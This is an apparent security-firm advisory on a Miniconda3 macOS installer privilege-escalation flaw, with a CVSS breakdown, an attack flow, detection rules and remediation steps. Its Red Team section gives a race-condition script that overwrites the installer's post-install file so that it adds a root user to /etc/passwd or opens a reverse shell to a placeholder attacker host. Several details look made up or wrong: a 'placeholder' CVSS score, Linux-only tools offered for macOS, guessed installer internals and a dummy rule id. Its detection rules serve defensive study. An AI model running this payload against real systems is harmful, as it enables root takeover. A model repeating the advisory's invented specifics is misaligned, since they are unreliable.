CVE-2024-46062

Executive Summary

CVE-2024-46062 is a local privilege escalation vulnerability in Miniconda3 macOS installers prior to version 23.11.0-1. When the installer is executed outside the user's home directory, it creates world-writable files that are subsequently executed with root privileges. This flaw allows a local low-privileged user to inject arbitrary commands, leading to full code execution as root. The vulnerability has a CVSS score of 0.0 (placeholder) but is assessed as critical due to the potential for complete system compromise. No public exploit code or Nuclei templates are available at this time, but the attack vector is straightforward and can be weaponized by any local user.

Supply Chain & Package Security

This vulnerability affects the Miniconda3 distribution channel for macOS. Users who download and run the installer from the official Anaconda repository are at risk if they install outside their home directory. The supply chain risk is moderate, as the vulnerability is in the installer itself, not in the conda packages. However, once exploited, an attacker can compromise the entire system and potentially tamper with any conda environments or packages.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Local (L) – The attacker must have local access to the system.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): Low (L) – The attacker needs a low-privileged user account.
• User Interaction (UI): None (N) – No user interaction required beyond the initial installation.
• Scope (S): Unchanged (U) – The vulnerability does not cross trust boundaries.
• Confidentiality Impact (C): High (H) – Full read access to all system files.
• Integrity Impact (I): High (H) – Full write access to all system files.
• Availability Impact (A): High (H) – Potential for denial of service or system destruction.

Threat Level: Critical. The low attack complexity and high impact make this a severe local privilege escalation vulnerability.

Deep Dive & Mechanics

The vulnerability arises from the Miniconda3 macOS installer's behavior when executed outside the user's home directory (e.g., /Applications or /tmp). During installation, the installer creates temporary files and directories with world-writable permissions (e.g., chmod 777). These files are then executed with root privileges as part of the installation process (e.g., post-install scripts or package extraction).

A local low-privileged user can monitor the file system for these world-writable files and replace them with malicious content before they are executed. Since the files are executed as root, the injected commands run with full system privileges.

Root Cause: The installer fails to set restrictive permissions on temporary files and does not verify the integrity of files before execution.

Attack Flow:

1. A privileged user (or an automated process) runs the Miniconda3 installer outside the home directory.
2. The installer creates world-writable files in a predictable location (e.g., /tmp/conda_install_XXXX).
3. A low-privileged attacker on the same system detects the creation of these files (e.g., via inotify or polling).
4. The attacker replaces the file with a malicious script (e.g., a reverse shell or privilege escalation payload).
5. The installer executes the malicious file as root, granting the attacker root access.

Vulnerable vs. Patched Code

Vulnerable Version (before 23.11.0-1): The installer creates temporary files with world-writable permissions. Example (pseudo-code):

# Vulnerable installer script
TMPDIR=$(mktemp -d /tmp/conda_install.XXXX)
chmod 777 $TMPDIR
# ... later ...
$TMPDIR/post_install.sh  # Executed as root

Patched Version (23.11.0-1 and later): The installer sets restrictive permissions on temporary files and verifies file integrity before execution. Example:

# Patched installer script
TMPDIR=$(mktemp -d /tmp/conda_install.XXXX)
chmod 700 $TMPDIR
# ... later ...
if [ -f "$TMPDIR/post_install.sh" ] && [ "$(stat -c %a $TMPDIR/post_install.sh)" = "700" ]; then
    $TMPDIR/post_install.sh
else
    echo "Error: Invalid permissions or missing file"
    exit 1
fi

Exploitation & Lab Setup

Red Team

Prerequisites:

• A macOS system with Miniconda3 installer (vulnerable version) downloaded.
• A low-privileged user account on the same system.
• Ability to monitor file system events (e.g., kqueue or polling).

Exploit Steps:

1. As the low-privileged user, start monitoring the /tmp directory for new directories created by the installer:

   while true; do
       for dir in /tmp/conda_install.*; do
           if [ -d "$dir" ]; then
               # Replace the post-install script with a malicious one
               echo '#!/bin/bash
               # Add a new root user or spawn a reverse shell
               echo "attacker:password_hash:0:0:root:/var/root:/bin/bash" >> /etc/passwd
               # Or: /bin/bash -i >& /dev/tcp/attacker_ip/4444 0>&1
               ' > "$dir/post_install.sh"
               chmod +x "$dir/post_install.sh"
           fi
       done
       sleep 0.1
   done
   

2. As the privileged user, run the Miniconda3 installer:

   sudo ./Miniconda3-latest-MacOSX-x86_64.sh -b -p /Applications/miniconda3
   

3. The installer executes the malicious post_install.sh as root, granting the attacker root access.

Expected Outcome: The attacker gains a root shell or adds a root user to the system.

Blue Team

Detection:

• Monitor for creation of world-writable files in /tmp by the Miniconda installer.
• Alert on any modification of installer temporary files by non-root users.
• Use file integrity monitoring (FIM) to detect changes to installer scripts.

Prevention:

• Ensure Miniconda3 is installed only from trusted sources and in the user's home directory.
• Apply the principle of least privilege: do not run installers as root unless necessary.
• Use endpoint detection and response (EDR) tools to block unauthorized file modifications.

Hunting:

• Search for files with permissions 777 in /tmp created by conda processes.
• Look for unusual processes spawned from /tmp directories with root privileges.

Indicators of Compromise (IOCs)

• File Paths: /tmp/conda_install.*/post_install.sh (or similar scripts)
• File Permissions: World-writable files (mode 777) in /tmp created by the Miniconda installer.
• Process Names: Miniconda3-latest-MacOSX-x86_64.sh or conda_install processes.
• Network Connections: Outbound connections from root processes to attacker-controlled IPs (if reverse shell used).
• User Accounts: Unexpected root-level user accounts (e.g., attacker in /etc/passwd).

Detection Engineering

YARA Rule

rule CVE_2024_46062_Miniconda3_PrivEsc {
    meta:
        description = "Detects world-writable files created by Miniconda3 macOS installer"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-46062"
    strings:
        $s1 = "conda_install" ascii wide nocase
        $s2 = "post_install.sh" ascii wide nocase
        $s3 = "chmod 777" ascii wide nocase
    condition:
        any of ($s*) and filesize < 10KB
}

Sigma Rule

title: CVE-2024-46062 Miniconda3 Local Privilege Escalation
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects creation of world-writable files by Miniconda3 installer
author: Valters IT
date: 2024/10/27
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-46062
logsource:
    category: file_event
    product: macos
detection:
    selection:
        TargetFilename|contains: '/tmp/conda_install.'
        TargetFilename|endswith: '.sh'
        Permissions: '777'
    condition: selection
falsepositives:
    - Legitimate conda installations in home directory (should not trigger)
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-46062 Miniconda3 Reverse Shell"; flow:to_server,established; content:"/bin/bash"; content:"/dev/tcp/"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

1. Upgrade Miniconda3: Update to version 23.11.0-1 or later from the official Anaconda repository.
2. Install in Home Directory: Always run the installer from the user's home directory to avoid world-writable file creation.
3. Restrict Permissions: If installation outside home directory is required, manually set restrictive permissions on temporary files before execution.
4. Monitor File System: Use file integrity monitoring (FIM) to detect unauthorized modifications to installer files.
5. Apply Least Privilege: Do not run installers as root unless absolutely necessary. Use sudo only when required.
6. Endpoint Protection: Deploy EDR solutions that can detect and block privilege escalation attempts.

Valters IT
Securing Digital Frontiers